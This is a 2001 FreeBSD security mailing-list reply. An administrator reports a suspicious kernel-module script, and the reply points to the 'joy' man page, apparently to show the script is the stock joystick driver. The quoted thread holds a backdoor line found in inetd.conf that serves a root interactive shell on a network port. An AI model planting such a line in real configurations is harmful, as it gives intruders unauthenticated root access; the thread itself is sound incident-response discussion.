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Date:      Thu, 1 Nov 2001 10:26:07 -0500 (EST)
From:      "Andrew R. Reiter" <arr@watson.org>
To:        Ralph Huntington <rjh@mohawk.net>
Cc:        freebsd-security@FreeBSD.ORG
Subject:   Re: strange inetd.conf entry
Message-ID:  <Pine.NEB.3.96L.1011101102538.94832A-100000@fledge.watson.org>
In-Reply-To: <20011101101825.U79615-100000@mohegan.mohawk.net>

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man 4 joy

On Thu, 1 Nov 2001, Ralph Huntington wrote:

:I did find this kernel module, but I have no idea what it is. I presume at
:this point that the root shell acquired through inetd was for the purpose
:of loading this module. Anyone recognize it? Anyone want it for analysis?
:
:hogan@klink:/etc# ll /usr/bin/joy
:-r-xr-xr-x  1 root  wheel  100 Jul  4 12:05 /usr/bin/joy
:
:hogan@klink:/etc# cat /usr/bin/joy
:#!/bin/sh
:# $FreeBSD: src/sys/modules/joy/joy.sh,v 1.5 1999/08/28 00:47:23 peter Exp $
:
:kldload joy
:
:
:hogan@klink:/etc# ll /modules/joy.ko
:-r-xr-xr-x  1 root  wheel  6755 Jul  4 12:05 /modules/joy.ko
:
:
:On Thu, 1 Nov 2001, Ralph Huntington wrote:
:
:> I have that sinking feeling. I discovered this line at the end of
:> inetd.conf on one of our servers:
:>
:> dlip        stream  tcp     nowait  root    /bin/sh sh -i
:>
:> Looks like a root compromise. Sure enough, telnet'ing to the dlip port
:> provides what *looks* like a root shell, but I don't seem to be able to do
:> anything with it. Pretty mysterious.
:>
:> Can anyone offer a clue? Thanks in advance,	Ralph
:>
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